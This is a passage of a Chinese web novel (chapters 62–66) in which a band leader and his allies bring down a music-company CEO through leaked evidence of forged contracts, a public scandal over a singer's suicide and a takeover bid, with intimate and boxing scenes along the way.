“我困了,别烦。”尧新雪说,然后就抱着猫走进了房间。 宋燃犀直到看着他关上门,才收回了目光。 第二天,李洋在自己的邮箱上收到了来自那两位的第三份礼物。 那是关于段以宿签下的大量虚假合同的副本。段以宿通过这样的暗箱操作,将大量资金与公司的资源转向了关联自己的其他私人公司。 李洋花了整整一天才看完这些能把段以宿告穿底裤的资料看完,他舔了舔干燥的唇,越看越心惊,其中段以宿涉及移用的金额已经高达几十亿,如果真的把这些资料散布,虽然不至于真的能彻底搞垮段以宿,但至少…… 李洋定了定神,终于翻到了邮件里的附言:一周后,李总就可以把这些和指针音乐的其他股东分享了。 李洋在那一刻仿佛听见了尧新雪那温柔的声音,本能地打了个寒颤——是他太蠢了,居然想直接拿这些证据去告段以宿,其实把这些东西分享给公司那些同样不支持段以宿的股东才是最优选。 一只蚂蚁会被大象踩死,千万只蚂蚁能把大象咬死。 李洋的目光变得复杂,忍不住心想,尧新雪才多少岁? 最多也就二十二,二十三岁的年纪,却是这样的谨慎、心机深沉、耐得住气。 他曾经无法理解,为什么黑羊乐队的人,乃至所有接触过尧新雪的人都唯尧新雪马首是瞻,就连那个不缺钱势不缺名气的宋燃犀,那个不可一世的段以宿都为他这样深深着迷。 尧新雪固然漂亮,固然拥有常人难以企及的实力,但能让人绝对的心悦诚服,又怎么能只靠这些浅薄的东西? 直到他被选中,成为了这盘棋局的重要棋子之一。 李洋终于在那一刻微妙地品味到所有人都忍不住追随尧新雪的原因,也明白了,黑羊乐队之所以能从一个无人知晓的垃圾比赛走到万众面前,绝对不止是靠实力和运气。 ——那个漂亮的,温柔干净的,万众为之疯狂的队长,在这背后又付出了什么,又做了多少呢? 李洋敲了敲桌子,偌大的办公室里,静得只剩下他过快的心跳声。 段以宿确实没有留下任何把柄,宋燃犀带着几个精英翻查他过去的所有资料也没能查到任何有用的证据——李洋所看到的那些虚假合同,基本都是尧新雪找出来的。 就在一个月前,宋燃犀让人把所有整理好的资料都放到了家里,他从片场下班回来后,就看到了满地的狼藉。 消费记录、账单、学籍表等等,有关于段以宿的资料全部铺洒在客厅的地板上,遍地密密麻麻的纸张。宋燃犀的右眼皮一跳,目光一路往里巡,果不其然,在这些飘飞的纸页尽头看到了尧新雪。 他睡在地板上,蓝色的长发散落一地,猫睡在他的旁边。一切这样静谧又美好,如同尧新雪不是睡在段以宿的资料上就好了。 宋燃犀叹了口气,蹲下身去拉他的手:“尧新雪?尧新雪,醒醒。” 尧新雪懒懒地睁开眼睛,见到是他,于是唇角挑起。 “我找到了,让你的人去深查这几家公司。”尧新雪把压在脑袋下的纸递给他。 宋燃犀接过那张纸,随意地扫了几眼,上面有几家小公司被尧新雪重点用红笔圈了起来。在目前的所有情报里,这些小公司都只和段以宿有着短暂的利益交易,哪怕多次核验之后,宋燃犀其实也并没有找到他们的蹊跷之处。 “他们有问题?”宋燃犀挑眉。 “查了就知道了。”尧新雪神情倦倦。 他坐起身,和宋燃犀平视,眼睛温柔地弯起,他一手撑着地板,一手随意而散漫地蹭蹭宋燃犀的下颌,轻声道:“动动宋总的关系网,指针音乐之后崛起的公司不在少数。” 宋燃犀在注视着那双眼睛时猛地意识到他的话意味着什么——段以宿有将指针音乐的大量资金与资源暗中输送到了自己私人公司的嫌疑。 于是一个月之后,段以宿拟下的那些虚假合同很快就被全部收集了上来,经过了宋燃犀与尧新雪的确认之后,被送上了李洋的邮箱。 雁过势必留痕,以段以宿的自大和多疑,又不会将这些钱递送到别人的账户,大概他也没想到,会有人不眠不休也要逐字对日期、对金额地来找他可能留下的蛛丝马迹。 而仅仅只需要有一点相似,就能让尧新雪找到。 和李洋达成后一周,是黑羊乐队假期的最后一天。 当清晨的一线阳光透过厚重窗帘的缝隙,落在从被窝里露出的一只脚上,猫咪就伸了伸懒腰,用尾巴轻轻地扫了扫压在它身下的人。 那人没有睁开眼睛,却往旁边侧了一点身。 随着他的动作,那只白皙的脚便压在了另一只明显属于另一个人的肤色较深的脚上。 昏暗的房间里,宋燃犀无声无息地睁开了眼睛。 此刻尧新雪的小腿压在他的腿上,另一只手则亲昵地揽过他的颈,将脸蹭在宋燃犀的肩膀上,俨然把他当成了大型的玩偶。 宋燃犀不想把尧新雪吵醒,不敢动,却又睡不回去,只能跟半梦半醒的猫互瞪。 就这样维持着这个姿势差不多一个小时之后,尧新雪才终于睁开了眼睛,他先是下意识地往旁边摸了摸手机,看清楚时间之后才又动了动,勉为其难地挪开了压在宋燃犀身上的腿。 宋燃犀侧过头,哑着声音说:“早上好。” “早。”尧新雪坐起身,一手拿着手机,随意地回复着信息,他的长发盖过赤裸的背,从宋燃犀的视角看,只能看到一点他雪白的手臂和曲起的腿。 雪白的被单因为尧新雪的动作滑落,露出上面暧昧的吻痕。 “要回去了?”宋燃犀感到喉咙有点渴,喉结动了动,最后清了清嗓子问。 “嗯。”尧新雪随意地回答道,他空出一只手,顺手摸了一下猫毛绒绒的背,然后柔声道,“宝贝早上好。” 小房子仰起头朝他“喵”了一声以作回应。 尧新雪笑了。 宋燃犀冷眼看着这一幕,只不满地啧了声——过了这么久,自己的地位依然不如一只猫。 就在他以为尧新雪就要这样走进浴室然后准备离开他家时,尧新雪却直接跨坐在了宋燃犀的身上。 宋燃犀闷哼一声,然后耳尖忽然通红。 尧新雪俯下身,主动去亲吻他的嘴唇,蓝灰色的长发如同无数柳枝或一张网,尽数落下来。 宋燃犀仰着脸看尧新雪的面容,仿佛自己被困住,成为了牢笼里的猎物。 尧新雪俯身在他的耳侧,愉悦道:“开始了。” 什么?什么开始了? 宋燃犀只看到尧新雪光裸而漂亮的身体,牛奶白的皮肤细腻而光滑,他的呼吸加重,手忍不住扣住了尧新雪那极具韧性的窄腰。 与此同时,一段视频被发在了网上,关于梅梢月的词条再一次顶上了热搜。如同梅梢月千百次噩梦里复现的那样,这段视频如同当初第一篇诋毁他的博文在短短几分钟内得到成千上万的转发和评论。 宋燃犀如同快渴死的人,仰着颈紧紧注视着尧新雪。而尧新雪就这样居高临下地望着他,嘴角挑起,最后终于在宋燃犀快要闷哼出声前低下了头,给予了他安抚性的亲吻。 李洋按下了最后一串熟悉的号码,上面的备注清晰地列在尧新雪曾给他的表格里。 宋燃犀在近乎战栗的快感里,痴迷地望着骑坐在他身上的人。 而尧新雪只是一如他们初见时的那样,温柔而狡黠地笑着。 第63章 【我叫蒋胜,这是我的身份证号XXXX……我在今日想向梅梢月道歉。我承认,我之所以指控梅梢月侵犯了我的儿子蒋文杰,是因为收到了一些人的唆使……】 【都是因为我见钱眼开,才会做出这种事,我没有想到……梅梢月竟然会因为这个……】 …… 牙黄佝偻的男人又一次出现在了所有人的面前,只是这一次他不再像一个眼神哀伤忿恨的、渴望得到支持的受害者,而是像一个被判下死刑的囚徒。 他面黄肌瘦,整个人都变得萎靡不堪,仿佛受到了什么难以承受的打击。然而这副落水狗的模样并没有得到谁的同情,舆论只是被迅速地点爆。 【啊?什么意思?这人不是之前指控梅梢月侵犯他孩子的爹吗?现在又跳出来了?】 【我靠到底怎么回事,事情又有反转了?】 【梅梢月都自杀了……网友就这么被你当枪使?】 【疯了吧,想钱想疯了吧,现在人死了你又良心不安了?】 …… 网友们纷纷发表起意见,质疑和谩骂的声音很快就高于一切。 在梅梢月没死之前,在所谓的“铁证如山”面前,辱骂批评,高呼着梅梢月恶心、该死、应该被关进监狱的人数不胜数。 他们甚至仅凭着一篇文章、一张照片就能为“受害者”冲锋陷阵,一旦有人唱衰,就如同找到了最志同道合的伙伴似的,开始昂首挺胸如公鸡般划下三八线,开始头头是道地攻讦对方。 甚至于他们并不知道梅梢月是谁,只是义愤填膺,发了疯似的敲下键盘。 然后一切就如同一场疯狂的热病,如同一场不彻底摧毁对方就不会停止的台风,轰轰烈烈地席卷一切,直到迎来他们满意的结局为止。 而如今,情况又一次出现惊天的逆转,网友们也又一次迅速地站在了“正义”的一边——这多好利用啊,逼死梅梢月的是他们,如今哀悼同情梅梢月的也是他们。 【梅梢月也太可怜了,到死也没看到你这个傻逼滚出来道歉。】 【这顶帽子都敢扣你还是人吗?】 【我看你其实也不在乎你儿子,想钱想癫了吧?】 【谁给的钱?梅梢月这个脾气会得罪谁?】 …… 看到这段视频时,梅梢月的粉丝已经哭出了声,他们不断地喊着“还梅梢月清白!”“真正有罪的不是梅梢月!!”的口号。 紧接着,中午十二点,一段录音被放了出来。 梅梢月死前痛苦而沙哑的录音被公诸于众。 “我会把我得到的钱拿去建游乐场、孤儿院……他们太苦了,我知道,我都知道……” “他们一直在逼我交出股份,所有人都在逼我……” 全网炸了。 “他们”是谁?“股份”是什么意思? 网上闹得沸沸扬扬,大批大批的网友跳了出来,他们罗列出来了一堆当时攻击梅梢月的媒体与梅梢月死后利益相关的人员——指针音乐的CEO段以宿赫然在列。 “扒出来梅梢月之前居然还是指针音乐的股东?” “我知道我知道,我在指针音乐工作过一段时间,见过梅梢月参加股东大会,而且一直有传闻梅梢月其实和公司高层不和……” 这条评论一出现就被删了,但很快就被5G冲浪的网友们截了下来,“梅梢月是被公司逼死的”这个结论很快就被顶上了热搜。 指针音乐一天之内蒸发了千万的市价,删帖撤热搜的时间远不及网友们冲浪的速度,为了安抚过激的粉丝和网民,最后终于有相关部门提出了对梅梢月自杀身亡案件的重新调查。 指针音乐的大楼早已被记者们围得水泄不通,传闻中的段以宿迟迟没有露面,只有零星几个眼尖的记者注意到,在人迹稀少的西门,身穿着定制西装、戴着墨镜的男人弯腰坐进了警车。 尧新雪正靠在沙发上,懒洋洋地听着几个贝斯手面试。他的长发已经长到了腿间,夏日嫌热,就会扎成高马尾。 他的左边坐着薛仰春,右边坐着尧新橙。 尧新橙注意到他颈间暧昧的吻痕,只不动声色地收回了目光,然后将空调的温度稍微调高一点。 他们面见了好几个贝斯手都不满意,就在薛仰春和尧新雪都昏昏欲睡的时候,尧新雪手机的电话铃声响了起来。 “喂?”尧新雪按了接听。 对方没有说话,却只在听到他的声音后轻轻一笑。 “今晚去我那里。”男人的声音依然是这样从容、不紧不慢,仿佛没有受到任何影响,哪怕网上已经因为他开始撕得腥风血雨。 “我好忙。”尧新雪的眼睛微微弯起,也这样懒洋洋道,说出拒绝的话却像是恃宠而骄。 “我九点到。”他挂断了电话,强势而熟练地将尧新雪的拒绝忽略。 即使来电的是一串陌生的号码,尧新雪却也早已在对方还没开口就知晓对方的身份——段以宿。 只有段以宿会以这种命令的口吻和尧新雪说话。 “啊——好烦。”尧新雪忽然有些不满道。 薛仰春飞快地眨了眨眼睛,因为自家队长从来没有这样不耐烦的样子,像小孩玩着游戏突然被家长暂停了一样。 她和尧新橙对视一眼,以为是因为找贝斯手不顺心,于是撑着下颌歪着脑袋看尧新雪:“那把楚枕石找回来好不好” 尧新雪侧了侧头,望着薛仰春宝石般的眼睛,仿佛在思考把楚枕石叫回来的可能性,等薛仰春以为他要点头同意时,尧新雪却认真地说:“他不会原谅我。” 薛仰春皱着眉,不知道他在打什么谜语,和他对视,然而尧新雪没有做出任何解释,只是像以往一样温柔而随意地摸了摸她的头,然后站了起来,伸了个懒腰:“选贝斯手的事就交给你们了,今明两天选出来,我有事先走了。” “哥。”尧新橙却在这时忽然出声,尧新雪转过头,只见那个脸上有着些许雀斑、安静沉默的大男孩望着自己,褐色的瞳孔写满了依恋,最后只慢慢地说:“注意,安全。” “嗯,知道了。”尧新雪笑了下,然后在薛仰春震天的“什么——”声音里走出了包厢。 尧新橙望着被关上的包厢门,只不动声色地握紧了拳头。 夜幕降临,段以宿脱下了西装外套,他的神态自若,慢条斯理地一颗颗解开自己的衬衫扣子。 也许是觉得身上沾染的味道难闻,也许是因为觉得晦气,他随便收拾了下干净衣服就走进了浴室。 “配合调查”对段以宿来说只是走走过场。 段以宿洗完的时候尧新雪已经来了,抬眼看去,尧新雪正穿着无袖黑色背心和牛仔裤,坐在地上把玩着一把珊瑚红的贝斯。 他的长发散落在地上,落在象牙白色的大理石地板上,白皙的手指飞舞过贝斯弦。 尧新雪似乎玩什么乐器都得心应手,勾、按弦的动作标准而高速,修长的十指配合得天衣无缝,如同灵巧的蛇游走过琴弦之间,低频的音色让段以宿的胸口发麻。 繁复的技巧在他的手指间轮番上演,在今天面试的所有贝斯手里,却没有人能像他一样能将这些完整而流畅地一一呈现。 尧新雪,为音乐而生。 他想到哪就弹到哪,直到琴弦最后微微颤抖着恢复静止,才抬起头看向段以宿。 尧新雪的眼睛是狐狸眼,眼型长,眼尾略上挑,看人时却像猫,很认真,不知道在想什么。 像是因为看到段以宿还安然无恙感到遗憾,他的眼睛眨了眨,最后又低下头想去看贝斯。 然而段以宿却强硬地捏住了他的下颌,逼迫他看向自己。 “是你吗?”段以宿问。 尧新雪没有回答,只是微微地挑起嘴角,这个表情让他看起来很乖,修长如天鹅的颈仿佛轻易地就能被折断。 “我不是梅梢月,这招对付不了我。”段以宿注视着尧新雪的眼睛,微微低头,开始吻尧新雪的唇角。 似乎没有打算让尧新雪回答,段以宿只是耐心而温柔地沿着尧新雪的颈一路向下亲吻,如同食肉动物确认着自己的猎物的归属权。 “如果你想毁了我,不要用这种过家家的做法。”段以宿说。 尧新雪被他掐痛,呼吸颤抖,却依然笑着慢慢地、认真地问:“那我应该怎么做?” “在深夜我睡着的时候,去厨房拿一把水果刀插进我的胸口。我会因为凶手是你,不挣扎,不喊叫,”段以宿笑了,低声喃喃道,仿佛在说着睡前故事,“我向你保证,这里、这附近没有监控,世界上不会有人知道是你杀了我;我向你保证,我死后所有东西都是你的。” “我不要,我嫌恶心。”尧新雪也弯起眼睛笑了。 他的手主动搭上段以宿的颈,段以宿的手便放松了,任由尧新雪亲昵地抱住自己。 段以宿紧紧地抱着他,用力得像是要揉碎尧新雪的骨头。 尧新雪将下颌垫在他的肩膀上,只是贴着他的耳朵亲密地说:“拜拜,段以宿。” 第64章 这个月里,李洋基本都在和人吃饭。 他带着宋燃犀提供的美酒和尧新雪提供的“证据”,成功地一次又一次敲开指针音乐其他股东的门。 指针音乐的名誉因为梅梢月的死已经在此刻跌至了谷底,即使视频与录音的暗示性明显得让段以宿不得不动了点关系,但也依然动摇不了段以宿的地位。 舆论会持续发酵,但指针音乐的公关必然会给出天衣无缝的答案,让他们的CEO在这里面摘得干干净净。 但如果这是无关紧要的小菜,那段以宿暗箱操作,输送公司资源满足自己利益的事才是加深公司内其他股东对他不信任的重要原因——段以宿可以承诺补偿梅梢月自杀身亡给他们带来的经济损失,但如果其真的不完全忠于指针音乐,那么对段以宿的态度与处理就有待商榷了。 且虽然段以宿的手脏,独裁高压,但总能给公司创收,大部分股东也就睁一只眼闭一只眼,小部分人虽然不满,但也只能少数服从多数。 李洋通过和中立、不满段以宿独裁手段已久的几个关键股东交流,适时分享了手上的证据,也就很快拉拢了对方。 李洋抽了一口烟,在钴蓝色的天空之下,缓缓地闭上眼睛,一想到届时指针音乐的股东大会上能对段以宿发难,他就感到灵魂颤栗般的愉悦和痛快。 一辆低调的卡宴停在了他的面前,身穿着黑色西装的林译为他打开了车门,和上一次疑惑而不安的心情不同,李洋现在已经能平静而坦然地坐上车,看着车开向云宴。 宋燃犀依然站在那天的相同位置,只不过这次他的表情更放松、更愉悦。 见到李洋,他转过身微笑着道:“李总来了,随意坐。” “宋总。”李洋点了点头,在宋燃犀的对面落座。 他敏锐地注意到了这里有四把椅子,于是默契地没有询问来的人会是谁。 身穿燕尾服的侍者恭恭敬敬地将菜单放到了李洋的面前,并且轻声询问宋燃犀:“请问您带来的红酒是现在开吗?” 宋燃犀在打电话,听到侍者的话时,用没拿手机的手划了个十字。 云宴培训出来的侍者都是人精,马上就反应了过来,这是十分钟之后开酒的意思,于是他再鞠半躬,示意自己明白了。 “堵车了?我不是让林译来接你吗?”宋燃犀捏着手机,语气里带着若有若无的愉悦意味。 不知道对方说了什么,李洋只看到宋燃犀的唇角一弯。 “想吃什么?”宋燃犀继续问,“哦,这个,我点了,但你不能吃。” 他的话音里满是得意和恃宠而骄的快乐,仿佛是想要故意引得对方恼火或是多说几句,毫不掩饰和对方的亲昵。 在宋燃犀挂断电话之前,李洋适时地将菜单递给了旁边的侍者,侍者保持着标准的微笑,轻声道了一句“明白了”,然后就悠然退了出去。 宋燃犀随意地拉开椅子坐下,看着李洋说:“尧新雪等会就到。” “不急不急,我知道他最近很忙。”李洋笑道。 黑羊乐队有新的贝斯手加入,他们在抓紧时间磨合,并且在筹备三专和世界巡演这件事,早已经在指针音乐内部传爆了——知道内幕消息的人都在尖叫着一定要抢到门票。 李洋在茶水间听到几个年轻人讨论黄牛可能会开出的价格,就忍不住开始暗暗感慨,他和尧新雪见过的两面,得值多少钱。 就在李洋胡思乱想之际,侍者拉开了门,他抬起头,就看到了近日频繁听到的名字的主人。 尧新雪的蓝灰色长发已经长到了腿间,他戴着黑色的CHOKER,穿着纯黑色的T恤和修身的黑色破洞牛仔裤,休闲且乐队,看上去像是刚从录音室里走出来。 他的身旁跟着一个人,那人穿着考究的墨绿色西装,看上去应该有二三十岁的年纪,戴着一把极具金融男味道的细边眼镜。 他比尧新雪高一个头,却自觉地落后尧新雪半步,顺从地听着尧新雪讲话。 李洋的眼神闪烁,站起来笑着和他们两人打了招呼。 “李总,这是颜胤,是高盛律所的法律顾问。”尧新雪简单地介绍了一下来人,然后坐在了宋燃犀的身边。 侍者在这时恰好地走近,但即使是石榴红色、散着丰富酒香的酒液落在李洋手边的高脚杯里,也没能平复李洋心中的震惊。 高盛律所是四大律所之一,人人挤破了头想要拿到这张入场券,能够留下来的却只有最顶尖的那一批人。 这些处于金字塔塔尖位置的人向来都心高气傲,在钱权面前不卑不亢,此刻对尧新雪却是这样的唯命是从,上下有别。 李洋的眼神变得复杂,但他依然提起笑和几个人碰杯。 “李总那边的进展如何了?”尧新雪慢条斯理地切着面前的牛排。 李洋自然是有备而来,他先是看了旁边安静的颜胤一眼,神色有些犹豫。 “没关系。”尧新雪笑了下。 李洋点点头,如实开口:“和你的想法一样,在看过那些段以宿签下的虚拟合同之后,前面十五个人都已经不愿意再支持段以宿,后面五个人摇摆不定,五个人不想插手。” 令李洋更感到惊奇的是,尧新雪竟然对这些人的态度了如指掌,一切都和尧新雪所设想的那样,即使是和他们的利益紧密相关,也依然有人小心谨慎,选择略过了站队的暗示。 尧新雪的反应堪称平淡,大抵是没有胃口,云宴鲜嫩多汁的牛肉也没能让他多吃几口。 “以现有的证据来看,指针音乐涉及财务造假,CEO段以宿涉嫌杀人,加之公众监督,指针音乐会有强制退市的风险。”一直安静的颜胤忽然开始说话。 宋燃犀没有忍住轻声笑了,李洋的脸色却唰地变白。 如果指针音乐强制退市,那么死的可就不止段以宿了,包括李洋在内的所有股东可能都会被拖下水。 李洋一瞬间感觉连嘴边的红酒都变得涩。 宋燃犀在自己的盘子里轻轻切了一小块鹅肝,然后放到尧新雪的盘子里。 尧新雪皱了皱眉,却还是叉起慢慢地吃了一口。 宋燃犀眼底的笑意肉眼可见地加深了。 尧新雪喜欢这里的鹅肝,会有冰淇淋般绵密的口感。但宋燃犀不喜欢他吃肝脏类的东西,觉得不健康,因此总是对他多有限制。 两人的举止亲密,却没有人敢八卦。 颜胤只淡淡地看了一眼,然后低头喝了口酒,李洋的脸上却快有点挂不住了,终于忍不住说:“什么意思?公司到时候会退市?” 宋总,这可不是我们当初谈好的。李洋的脸上闪过很多种颜色,最后却没有把这句话说出来。 “李总,被吓到了吗?”宋燃犀轻佻地挑起一边眉。 李洋有些怀疑他在报复自己当时敢提出20%的股份,但此情此景只好苦笑不语。 “李总不用着急。”尧新雪也笑了一下,“如果是把这套说辞带给那剩下十个人,他们的反应应该会和您一样吧。” 三份蟹肉料理被侍者端了上来,尧新雪没动过几次的牛排被这两份料理替换。一份是蟹肉蒸蛋,一份是焗考蟹腿,一份是蟹肉塔塔。 茶碗蒸保留了蟹肉的清甜,蒸蛋嫩滑,黑松露与蟹肉的搭配更是让口感变得更细腻、更光滑。火焰炙烤过的蟹腿被分成两半,亮澄澄的蟹肉散发着诱人的香气。蟹肉塔塔则挤有沙拉酱,咬下去既酥又甜。 李洋缓缓地吐出一口气:“原来是想吓一吓他们。” “不是吓哦,是真的。”尧新雪舀起一点蒸蛋,微笑道。 在李洋恐惧的眼神里,尧新雪才慢条斯理地补充道:“当然这是最坏的打算,我们没有想让你受到什么损失。希望你能把颜胤带着,必要的时候,他会帮你。” 李洋皱了皱眉,这顿饭因为记挂着这件事吃得没滋没味。他向颜胤投去求助的眼神,对方却毫无反应,照样吃着。 直到明天早上打开财经新闻,李洋才终于彻底明白尧新雪所说的“必要时候”是什么意思。 然而这时他只傻呵呵地坐上林译的车,准备回家。 等到颜胤和李洋都走后,尧新雪依然坐在位置上吃着那几份料理。 显然这三份料理踩中了尧新雪的喜好,他是清甜口,偏向日料或中式料理。 云宴只做西餐,但在有心人的刻意要求和安排之下,这三份特别定制的菜被定时送了上来。这个人显然非常了解尧新雪,晚一秒送上来,尧新雪就有可能不买账了。 宋燃犀撑着下颌坐在旁边,侧过脸看他慢条斯理地吃,悠悠地说:“李洋刚都快被吓死了。” “他是关键人物,利益绑定得越深,就越忠诚。”尧新雪回答道。 “那我呢?你给了我什么,你不怕我翻脸不认人?”宋燃犀挑起眉,他克制着自己亲尧新雪的冲动,只抬起手按在尧新雪的后颈上,轻轻地捏着。 “我给了你一个签名。”尧新雪回答道。 宋燃犀看着尧新雪微微侧了侧头看向自己,然后像猫似的舔了舔嘴唇,视线自上而下缓缓落在了宋燃犀的腰侧——那个纹身的位置。 宋燃犀感觉到那个纹身在发烫,仿佛在灼烧般,他的心脏“砰”、“砰”地跳着,最后偏过了眼睛。 第65章 李洋第二天刚睡醒,就知道了尧新雪所说的“必要时候”是什么意思。 他打开手机,就看到那个被订阅每日推送的财经新闻头条:震惊?!宋氏集团代言人公开对指针音乐提出报价,意图收购指针音乐。 媒体抓拍的照片极具噱头,俊秀的青年依然是那套黑色西装,但是簇拥在人群中间,不卑不亢,他迈步走近指针音乐的大楼,面前是摩天大楼旁的LOGO——巨大的指针和音符。 正是林译。 李洋看着这个腰背挺直的年轻人,感到有些魔幻,就在昨天,他还在态度恭敬地给自己开车门,如今已经对指针音乐开出了以亿为单位的价格。 李洋定了定神,也料到宋燃犀绝对不会公开露面,即使有心人都能知道,林译的这番举动必定出自宋燃犀的授意。 有时候他会晃神,会以为有一根线绑在了他的脖子上。他将要握着这根线绑在指针音乐其他股东的脖子上,线的另一头绑着死去的梅梢月,再往前,是宋燃犀。 但他们都是被线绑着的人。 这根捆绑着所有人的线的那头被尧新雪牵在手里,在这个局里只有尧新雪是自由的。 之后的事情如同台风过境,指针音乐的高层为了解决这突发事件紧急召开了董事会。 一周之后,董事会给出了判定的结果——将这次宋氏的事判定为恶意收购。 这次恶意收购看上去不痛不痒,仿佛只是宋燃犀在挑衅段以宿,却让李洋找到了个合适的由头。 心有动摇的股东们应李洋的邀请参加了饭局,这些人和李洋的关系本就不浅,加之李洋过去一个月的努力,已经基本混了个“臭味相投”的地步。 于是在李洋有意无意的介绍之下,背景干净如白纸同时履历又如此优秀的颜胤理所当然地加入了他们的饭局。 颜胤平静地望着对面的人,那人嘴里雪茄的火光一明一灭。 烟灰随着手指的动作轻轻掉落,仿佛被刺激到了一般,尧新橙猛地往后一撤。 出拳人毫不留情,拳头只差几厘米就砸在了他的脸上。风带来若有若无的香根草的味道,尧新橙却连眼睛都不敢眨一眨,只是紧张地屏住了呼吸,心跳飞快。 尧新雪往后站了两步,淡淡地命令道:“过来。” 尧新橙站好,重新调整姿势,然后放缓呼吸点了点头。 他们在私人预约的拳击馆里,偌大的场地中间只有一个拳击台,四面皆有围绳围着。天花板上尽是小型的LED灯,将整个拳击台照亮得如同舞台。 尧新雪穿着黑色的无袖背心,长发被高高束起绑成了高马尾,他戴着黑色的拳套,表情冷淡,显然对尧新橙一瞬间的走神感到不满。灯光之下,他的皮肤雪白,手臂肌肉薄却明显、漂亮。 尧新橙望着眼前的尧新雪,定了定神。 他恢复了谨慎的样子,两拳抵在面前以作防守,只在自己的拳头后如仓鼠般露出两只黑溜溜的眼睛。 尧新雪一拳一拳地砸在他的手臂上,最后终于失去了耐心,在尧新橙一味躲闪的空隙里狠狠一拳砸在了他没来得及反应的太阳穴上。 尧新橙只感觉到脑子嗡地一声,往旁边踉跄了两步才站稳,但他只稍微缓了一会就又重新做好了防御的姿势。 “我没有这样教过你,”尧新雪的眼神已经变得冰冷和不耐,他活动着手腕和肩膀,注视着尧新橙,“我不是让你来挨打的。” “你舍不得打我吗?嗯?”尧新雪微微抬了抬下颌,然后继续打出一套接一套漂亮的组合拳,他的动作干净而利落,每一拳都兼具着速度与力量,而由于尧新橙始终不躲不闪,所以每一拳也都精准地砸落在他身上。 尧新雪不断地往前压,尧新橙不得不一步步后退。 尧新橙感到手臂发麻,接二连三的痛意让他感到愈发清醒,他竟然在这其中品尝到淡淡的血腥味与快乐——自从离开出租屋后,他就再也没有这样的机会和尧新雪亲密接触了。 他“嗯”了一声,又一次被尧新雪的拳头打得偏过了脑袋。 为了保证在舞台上有充足的体力和稳定发音,尧新雪始终要求着黑羊乐队的人每周至少锻炼五个小时,薛仰春因为这个求了尧新雪一个月,终于勉强把五个小时降低到了四个半小时。 尧新橙选了拳击,一开始是尧新雪带入门的。 在尧新雪感到无聊之前,尧新橙终于开始了还击。连续的刺拳被尧新雪格挡下来,很快尧新雪就转过身来了一记高扫,接着打出了摆拳。 他的动作流畅而漂亮,带着血腥气的狠戾的优雅,如同一只优美的猎豹。 尧新橙再次挨了两下,喉咙间的腥甜愈发明显。他在恍惚间能看到晶莹剔透的汗珠沿着尧新雪雪白的颈滑落,他的喉咙不知道为何干渴、灼痛得仿佛在燃烧。 你最近去哪里了?为什么一直没有回来? 尧新橙有很多想问尧新雪的问题,可是他知道尧新雪都不会回答。但这些念头从他脑海里浮出来的那一刻起,他就感到异常地烦躁,嫉妒心与占有欲翻滚着叫嚣着要冲破胸口。 尧新雪却依然命令道:“继续。” 尧新橙咬了咬牙,又一次出拳,这一次出拳时甚至带着些怨恨,尧新雪能感觉到迎面扫来的风。 尧新橙的打法和尧新雪的打法完全不同,尧新雪的优雅、观赏性高的同时命中率也高,每一拳都有着自己的考量;尧新橙的却是阴戾而不留余地,不计后果,不考虑自己,哪怕杀敌一千自损八百也要赢得胜利。 尧新雪压低身体完成了漂亮的躲闪,尧新橙紧跟其后猛地打出连续的左摆拳,最后一拳尧新雪躲闪不及,几乎就要打上尧新雪的脸,尧新橙却在下一秒生生地控制住,仿佛大梦初醒般僵硬地停顿。 也就是那一秒的空档,让尧新雪抓住机会猛地反击挥了一个上勾拳和左勾拳。拳头砸中尧新橙的下颌,让他下意识地将牙齿咬住了舌头,他的鼻梁也受到了剧烈的打击,即使已经迅速地反应过来自我保护,也依然摔倒在了地上。 尧新橙大口大口地喘着气,从鼻子和嘴里溢出的血糊满了下半张脸,他的眼神有些恍惚,就这样躺着望着俯下身来的尧新雪,痛得眼眶里盈满了生理性的泪水。 尧新雪摘了拳套,然后爱怜般用半只手掌随意擦去他脸上的血,将他拉了起来。 “自己去清理一下。”尧新雪说。 尧新橙“嗯”了一声,然后才从旁边拿了块毛巾,擦去自己脸上的血迹。 尧新雪去洗澡了,等到他洗完,尧新橙依然满脸狼狈。 尧新雪点了一根烟,然后随手往旁边的沙发拍了一下,这是一个信号——在很小的时候,他们还只能相依为命时,只要尧新橙感到难受,尧新雪就会拍一下身边的地板或沙发,让尧新橙躺在自己的腿上缓解。 那时他们没有医生没有药,活下来全靠命硬。有好几次,死神的镰刀几乎都要碰到尧新橙的脖子,尧新橙却始终不敢闭眼,只是安静地蜷缩在尧新雪的怀里,注视着尧新雪那双温柔的眼睛。 他害怕死,也舍不得尧新雪。 这是他和尧新雪之间心照不宣的习惯,尧新橙曾经一度以为尧新雪忘记了。 尧新橙眨了好几次眼睛,感觉到心脏的麻,最后顺从地躺在了尧新雪的腿上。 “梅梢月家里监控的事查得怎么样了?”尧新雪轻轻地用另外一只手抖了抖烟灰。 “一共,有,六十个,摄像头。但具体的,人和地址,我还没有,查到,”尧新橙慢慢地说,“但是,我,找到了,一个,关于梅,的网站。” 尧新雪没有因为他说得慢就催促他,只是耐心地垂着眼听着。 尧新橙将自己的手机递给他,尧新雪随意地划着手机屏幕,没什么表情。 这个网站全部都是梅梢月的照片,累计已有上万张。 正常的有梅梢月穿着睡衣刷牙的样子,不正常的能有他洗澡等极度私密的样子。 有关于梅梢月这个人的所有生活,都被发在了这个网站上。发布者始终是同一个人,开始于梅梢月回国的时间,中止于梅梢月死亡的前夜。 这个网站同时积累了大批的粉丝,曾经留下过无数恶心透顶的评论,偶尔也会有人发他们拍到的梅梢月。 尧新雪的表情极淡,他在浏览完这个网站的大致内容之后点进了发布者的主页。 这个人的主页空无一物,ID是46。 “这个,网站,要,密码,才能进。”尧新橙说,“但是,和梅梢月,没有任何,关系。” 尧新雪白净的手指有一下没一下地敲着手机上的46,漂亮的眼睛微微眯起:“不是的。” “密码是,4647。” 尧新橙和尧新雪同时说。 尧新橙的眼睛微微睁大,尧新雪的嘴角则微微提起。 “他是慈济孤儿院的人,46号,顺着这个查吧。”尧新雪把手机递给了尧新橙。 “不要让他阻碍了我的计划。”尧新雪抽了一口烟,眼睛弯了弯。 第66章 段以宿的办公室在指针音乐的最高层。 这栋大楼处在寸土寸金的市中心,是整座城市最高的建筑,从巨大的落地窗看过去,能看到以这里为中心往四周无限扩散的的摩天大楼。 段以宿喜欢站在这里去俯视下面的景色,这充分满足了他近乎变态的掌控欲与傲慢。 在空闲的时间里,他能自恋地看着这同样的风景看上两个小时。 没有人知道他从城市的最外围走到这里用了多少时间,又耗费了多少精力和金钱——在段以宿成为“段以宿”之前,他还是个一无所有,被家人称作“怪物”的普通人。 